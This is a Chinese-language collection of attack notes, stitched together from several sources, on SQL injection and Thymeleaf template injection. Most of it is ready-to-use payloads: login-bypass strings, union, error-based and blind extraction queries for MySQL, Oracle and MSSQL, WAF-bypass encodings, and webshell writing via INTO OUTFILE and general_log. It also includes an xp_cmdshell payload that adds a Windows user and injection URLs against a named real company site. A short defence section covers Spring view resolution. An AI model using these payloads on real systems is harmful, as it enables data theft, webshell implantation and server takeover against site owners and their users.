是一个高性能的,NOSQL图形数据库,
它将结构化数据存储在网络上而不是表中。
它是一个嵌入式的、基于磁盘的、具备完全的事务特性的Java持久化引擎,
但是它将结构化数据存储在网络(从数学角度叫做图)上而不是表中。
neo4j.bat console
payload
?id=1+and+select 探测waf
?id=abcd
access数据库不支持报错注入(不报错),也不能利用注释-是否报错来进行一个盲注
语句结构
?id=1+and+exists(
select后面不能直接跟任何占位空字符(%0d,%0a,%0c,%20,' ') -ACCESS 遇到后端加正则
select(xxx)可以绕过这个逻辑
?id=1+and+exists(查询数据的语句)
通过盲注暴力猜解数据
?id=1+and+exists(sElect(1)+from+admin)
错误信息回显
比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式
跟Spring boot的版本有关,其默认自带的Thymeleaf版本有关。
spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5
spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9
spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11
Thymeleaf模板注入
https://zhuanlan.zhihu.com/p/248416919
payload 必须包裹在 __...__ 之中,且后面加上 :: ,及 .string 。
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
5、防御
1.1. 方法上配置 @ResponseBody 或者 @RestController
这样 spring 框架就不会将其解析为视图名,而是直接返回。不配置的话 SpringMVC 会将业务方法的返回值传递给 DispatcherServlet ,再由DispatcherServlet 调用 ViewResolver 对返回值进行解析,映射到一个 view 资源。
@RestController 表示该控制器会直接将业务方法的返回值响应给客户端,不进行视图解析。它内部继承了 @ResponseBody 。
1.2. 在返回值前面加上 "redirect:"
这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。
1.3. 在方法参数中加上 HttpServletResponse 参数
这样 spring 会认为已经处理了 response ,无须再去进行视图名的解析。在 ServletResponseMethodArgumentResolver 类中检查了此参数。
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1
asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便
PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*
POST /WebService/InterfaceForJN/search_realdata.asmx HTTP/1.1
Host: 60.x.x.x:8001
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://tempuri.org/GetRealData"
Content-Length: 508
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:GetRealData>
<!--Optional:--><tem:cityname>1*</tem:cityname>
<!--Optional:-->
<tem:subname>1</tem:subname>
<!--Optional:-->
<tem:subid>1</tem:subid>
<!--Optional:-->
<tem:wastetype>1</tem:wastetype>
</tem:GetRealData>
</soapenv:Body>
</soapenv:Envelope>
https://www.bilibili.com/read/cv6562645/
【sql injection】
https://mp.weixin.qq.com/s/8grPMYzNbwhgRRDcE57U7Q
order by
/**/
boolen等式 能够被带入查询语句并显示不同效果
当条件不符合时,71-false=71,显示71.html,无数据
http://EDU_SITE/.../..._id/71-false.html
=> SELECT ..FROM .. WHERE ... AND _id=71-false
获取用户名长度
http://EDU_SITE/.../..._id/71-(length(user())=12).html
=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)
获取数据库长度
http://EDU_SITE/.../..._id/71-(length(database())=6).html
=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)
burpsuite的clusterboom模式对database进行爆破
【SQL注入 getshell】
写文件--into outfile
前提:
网站的绝对路径
没有对引号进行过滤
文件必须有写的权限
union select getshell
payload:1' union select 1,'',3 into outfile 'd:/phpstudy_pro/www/1.php'--+
lines terminated by
lines terminated by 该语句是设置每行数据结尾的字符,可以设置为单个或多个字符,默认为“/n”;
payload: ?id=1' into outfile 'd:/phpstudy_pro/www/2.php'lines terminated by''--+3.
lines starting getshell
lines starting getshell该语句为设置每行开头的字符
payload:?id=1' into outfile 'd:/phpstudy_pro/www/3.php'lines starting by''--+
fields terminated getshell
fields terminated by 设置字段之间的分隔符,默认值是"\t"
payload:?id=1')) into outfile'd:/phpstudy_pro/www/4.php' fields terminated by ''--+
COLUMNS terminated getshell
COLUMNS terminated by 设置字段之间的分隔符,默认值是"\t"
payload:?id=1')) into outfile'd:/phpstudy_pro/www/6.php' COLUMNS terminated by''--+
getshell-数据表getshell
前提:需要将shell内容插入数据表中,在将表内容写成可执行文件,所以要想利用它getshell,一般数据库有堆叠注入或phpmyadmin或有一个数据库的基本权限才能getshell。
payload:id=1';insert into users(username,password) values(','$_POST[2]")?>')--+
getshell-日志getshell
7.1 开启全局日志配置
payload:?id=1';set global general_log = on;--+
7.2设置日志路径(webshell路径)
id=1';set global general_log_file = 'd:/phpStudy_pro/WWW/8.php';--+
7.3写入木马病毒
id=1';select '';--+
payload:
【waf 绕过】
Sql Inject(SQL注入)概述 哦,SQL注入漏洞,可怕的漏洞。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞, 其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,
导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
第一步:SQL注入点探测。
探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。
通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。
如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。
一般通过页面的报错信息来确定是否存在SQL注入漏洞。
第二步:收集后台数据库信息。
不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。
判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;
还可以使用特定函数来判断,
比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,
而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。
第三步:猜解用户名和密码。
数据库中的表和字段命名一般都是有规律的。
通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
第四步:查找Web后台管理入口。
WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
1.1 联合注入
?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+
1.2 报错注入
爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
每个一个报错语句都有它的原理:
exp() 报错的原理:
exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,
然后 ~ 取反它的值总会大于709,
所以报错。
updatexml() 报错的原理:
由于 updatexml 的第二个参数需要 Xpath 格式的字符串,
以 ~ 开头的内容不是 xml 格式的语法,
concat() 函数为字符串连接函数显然不符合规则,
但是会将括号内的执行结果以错误的形式报出,
这样就可以实现报错注入了。
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
这里需要注意的是它加了连接字符,
导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:
substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +
时间盲注也叫延时注入
一般用到函数 sleep() BENCHMARK()
还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)
一般时间盲注我们还需要使用条件判断函数
#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3
#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left
我们一般喜欢把分割的函数编码一下,
当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
1.4 insert,delete,update
insert,delete,update 主要是用到盲注和报错注入,
此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,
一般这种注入会出现在
注册、ip头、留言板等等需要写入数据的地方,
同时这种注入不报错一般较难发现,
我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,
然后如果插入失败,更新失败,
然后深入测试确定是否存在注入
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 1 | and 1=1 | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)
#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)
# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)
#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | admin | admin |
+------+----------+----------+
4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0
二次注入的语句:
在没有被单引号包裹的sql语句下,
我们可以用16进制编码他,这样就不会带有单引号等。
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'--+ | 11 |
+----+-----------+-------+
4 rows in set (0.00 sec)
二次注入在没有源码的情况比较难发现,
通常见于注册,登录恶意账户后,
数据库可能会因为恶意账户名的问题,将 admin’–+ 误认为 admin 账户
针对目标做了一定的防护,
单引号转变为 \' , mysql 会将 \ 编码为 %5c ,
宽字节中两个字节代表一个汉字,
所以 把 %df 加上 %5c 就变成了一个汉字“運”,
使用这种方法成功绕过转义,就是所谓的宽字节注入
id=-1%df' union select...
#没使用宽字节
%27 -> %5C%27
#使用宽字节
%df%27 -> %df%5c%27 -> 運'
MySQL注入思路:
1.判断注入点是否有读写权限
有 读取配置文件、用户名密码等;
magic_quotes_gpc为off ,直接导出一句话webshell。
//magic_quotes_gpc为on的时候,‘会被转成’,而写导出的绝对路径的时候又必须是用’括起
没有
判断MySQL版本,5.0以上
通过爆 获得用户名密码;
5.0以下或者5.0以上不能爆(比如限制了information_schema数据库)
盲注获得用户名密码。
//盲注: 通过返回页面的正确与否判断查询语句是否正确, 类似 Access数据库的注入
一个参数可能执行了多个查询语句
导致查不出字段数、没有数字回显
服务器开启了MySQL错误回显的话, 通过报错注入从报错信息中获取信息
MySQL数据库5.X版本的爆表爆列爆内容。
步骤一:判断注入点
单引号、and 1=1、and 1=2。
步骤二:order by和union select
通过order by查出字段数目N,然后联合查询。
and1=2 union select 1,2,3,4…,N–
//首先and 1=2报错,用单引号或在参数前加个"-“也行
// 和Access不同,后面可以不加"from 表名”;
最后面的"–“是注释符,注释掉后面的语句,防止出错,换成”/*"也行,也可以不加
//Access不支持注释符,MySQL和MSSQL支持
步骤三:查出基本信息
得到数字回显后,将对应数字位换成我们想查询的信息,比如显示位是3
and1=2 union select 1,2,version(),4…,N–
//介绍几个常用函数:
我们可以通过将对应函数放到显示位中查出相应信息
查找信息函数:
比如:concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)
group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
//0x3a是":"的十六进制,作为分隔符 //防止连成一片
//在实际查的时候, 去掉 出错函数
比如@@verion_compile_os这个函数就经常出错
// MySQL官方手册http://dev. mysql .com/doc/
步骤四:爆表 爆列 爆用户名/密码
第一种:查表查列
and 1=2 union select 1,2,table_name,4 from (select * from information_schema.tables where table_schema=库名十六进制 limit N,1)t limit 1–
and 1=2 union select 1,2,column_name,4 from (select * from information_schema.columns where table_name=表名十六进制 and table_schema=库名十六进制 limit N,1)t limit 1–
and 1=2 union select 1,2,列名,4 from 表名
//改变N的值,查出一个个表名、列名
第二种:高级查表查列
//技巧:查的库名的十六进制那个地方填database(),就是table_schema=database(),直接就表示当前数据库
//找敏感的表,含有admin、manage或user之类的
第三种:爆表爆列
//distinct表示不同,去掉爆出内容的重复部分,//可有可无
//在通过用group_concat()这个函数直接爆出所有库名、表名、列名、字段内容,可以提高速度,方便查找
第四种:高级爆表爆列
// (http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html)
//数据从information_schema.columns表里获取
information_schema.columns这个表里,
table_schema、table_name、column_name列
直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速度
到这一步,我们的注入就算完成了,找后台解密登陆就是了。
当union select 1,2,3,4没有出现数字位时,
把数字都换成null
逐个尝试替换成数字或字符或直接换成version(),
找到可以显示出来的那一位。貌似是因为对应变量类型不同的原因,
有些时候莫名其妙的就出错的时候(比如有数字显示位,而用替换函数(比如version())去替换时却返回空白页或报错)
爆不出来的时候
通过hex()或convert()等函数来
解决可能的编码问题,比如hex(version())、unhex(hex(version()))、convert(version() using latin1)等等
把空格换成"+“或者”/**/"
空格会被自动转成"%20",看着很乱,而且换过以后貌似能过一些过滤。
网站有过滤的时候,大小写变换绕过。
/!select/,把容易被过滤的东西放到/!XXX/中
一样可以正常查询,也就是/!select/=select。如果你还不放心那就这样/!sEleCt/
用户名 / 密码 /登录身份/ 说明
sys/change_on_install SYSDBA 或 SYSOPER 不能以 NORMAL 登录,可作为默认的系统管理员
system/manager SYSDBA 或 NORMAL 不能以 SYSOPER 登录,可作为默认的系统管理员
sysman/oem_temp sysman 为 oms 的用户名
scott/tiger NORMAL 普通用户
aqadm /aqadm SYSDBA 或 NORMAL 高级队列管理员
Dbsnmp/dbsnmp SYSDBA 或 NORMAL 复制管理员sysman 为 oms 的用户名
scott/tiger NORMAL 普通用户
aqadm /aqadm SYSDBA 或 NORMAL 高级队列管理员
Dbsnmp/dbsnmp SYSDBA 或 NORMAL 复制管理员
?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
既然是盲注,那么肯定涉及到条件判断语句,
Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:
decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值);
该函数的含义如下:
IF 条件=值1 THEN
RETURN(返回值1)
ELSIF 条件=值2 THEN
RETURN(返回值2)
......
ELSIF 条件=值n THEN
RETURN(返回值n)
ELSE
RETURN(缺省值)
END IF
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64-- #二分法
可使用DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)函数进行时间盲注,
这个函数可以指定延迟的时间
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--
?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--
1 布尔盲注
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--
2 时间盲注
?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) wai
SELECT user()
select database()
select version()
SELECT * FROM information_schema.SCHEMATA
select table_name from information_schema.tables where table_schema='db_name'
// 当前数据库 db_name 所有表
http://www.cowinbio.com/
属于mysql4.0 注入一个实例
路径:/usr/local/webroot/cw/product/introduction.php
mywebmanage/conn.php
http://www.cowinbio.com/product/introduction.php?id=-65 union select load_file('/usr/local/webroot/cw/product/introduction.php'),2
http://www.cowinbio.com/product/introduction.php?id=65%20order%20by%202
http://www.cowinbio.com/product/introduction.php?id=65 union select 1,2
version():4.1.22-standard
user():root@localhost
database():cw
http://www.cowinbio.com/product/introduction.php?id=65 union select 1,2
load_file()
sqlmap -u url注入地址 --sql-shell 执行sql命令
mysql5.0
into outfile
information
sql注入指 web应用 对用户输入数据 合法性没有判断
前后端 输入参数 攻击者 可控
参数带入数据库 进行查询
攻击者 构造 不同 语句 对 数据库进行操作。
详情: 注入 空格 漏洞 空格
输入输出控制
将用户输入 数据 当做 sql 语句执行 的关键条件
eg:繁多 复杂信息 的查询
存放地点: 数据库
查询方法:url参数带入查询
即 :.asp?id=
.php?id=
发布者:admin
iis + asp
apache + php
nginx + java
aspx 由asp.net语言开发的网页
快速创建动态Web网站的技术
使用C#(或者vb.net)为开发语言
-------------------------------------------------------- 判断注入点
url 查询处?xxx=xx 加
’ 正常报错 存在注入漏洞
and 1=1 正常返回页面
and 直接返回页面 过滤了and
or 1=1 正常返回页面
or 没有返回页面 没有过滤or
or 1 没有返回 即没有过滤or 也没有过滤1
or 1=1 直接返回 过滤了等号
or的特性 与 and相反
or 1=1 爆错 或 与原页面不同
or 1=2 原页面相同
这样就是一个注入点
过滤了=号 我就用><号代替=号
or 1<2 很明显是正确的,所以应该与原页面不同
or 1>2 很明显是错误的,所以应该与原页面相同
然后看看有没有过滤其他的查询语句,比如select.
加select 直接返回主页
-------------------------------------------------> 原理
参数 and 和 (并且)
1 = 1
相当于 数据库执行 计算 1 = 1 (页面不出错)
1 = 2 (页面不正常)
说明了 and 确实被 ?参数代入 数据库交互当做sql语句处理过
针对AND与“’”号和“=”号 select 等过滤的突破
1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。
例如or 1=1即
%6f%72%20%31%3d%31,
而Test也可以为
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2、通过空格绕过
如两个空格代替一个空格,
用Tab代替空格等,
或者删除所有空格,如
or’ swords’ =‘swords’
由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
3、运用字符串判断代替
用经典的or 1=1判断绕过
如
or ’swords’ =’swords’
4、通过类型转换修饰符N绕过
程度 绕过限制,而且还有别的作用
关于利用
如
or ’swords’ = N’ swords’
大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用
并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
5、通过+号拆解字符串绕过
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ ……’ )
6、通过LIKE绕过
如or
’swords’ LIKE ’sw’
绕过
“=”“>”
的限制……
7、通过IN绕过
如
or ’swords’ IN (’swords’)
8、通过BETWEEN绕过
如
or ’swords’ BETWEEN ’rw’ AND ’tw’
9、通过>或者<绕过
or ’swords’ > ’sw’
or ’swords’ < ’tw’
or 1<3
……
10、运用注释语句绕过
空格,tab键和注释符/**/可以用来切割sql关键字
回车 作为分割符
回车的ascii码是chr(13)&chr(10)
转换成url编码形式是%0d%0a
可以用%0d%0a代替空格pass一些过滤空格的检查了
用 / * * / 代替空格,如:
UNION /* */ Select / * * / user,pwd,from tbluser
用 / * * / 分割敏感词,如:
U/ * */ NION / * */ SE / * */ LECT / * */user,pwd from tbluser
只用%0d能正常执行语句吗?只用%0a呢?
测试证明,用任意一种分割在mssql、mysql和access里面都是可以的
ascii码可以用来在sql语句中代替空格
在所有128个低位ascii字符中
chr(12)也可以在access里用
不过貌似chr(12)不能出现在and、or之类的关键词附近
mysql中比access多一个chr(11)可以。
至于mssql, 直接从1到32的ascii码换成字符后都可以正常使用。
中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了
字符型的,如果是数值型,
可以在id=1后加一个括号,不过没有测试,
比如:jmdcw.asp?id=(1)and(select…),应该可行
11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
如下:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
效果
http://www.xxxx.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];–
其中的
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
就是
“net user angel pass /add”
必须用分号作为语句的结尾 (错了)
类似
Copy code
select * from table exec xp_cmdshell’xxxxxxxxxx’
select * from table/**/exec xp_cmdshell’xxxxxxxxxx’
select * from table|—tab—|exec xp_cmdshell’xxxxxxxxxx’
select * from table|—enter—|exec xp_cmdshell’xxxxxxxxxx’
的语句都是可以正常执行的。
跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。
(遇到带空格过滤关键字的拦截程序)
判断是否存在SQL注入
'
and 1=1
and 1=2
暴字段长度
Order by 数字
匹配字段
and 1=1 union select 1,2,..,n
暴字段位置
and 1=2 union select 1,2,..,n
利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version()
and 1=2 union all select database()
and 1=2 union all select user()
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 返回正常说明为root
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
猜字段
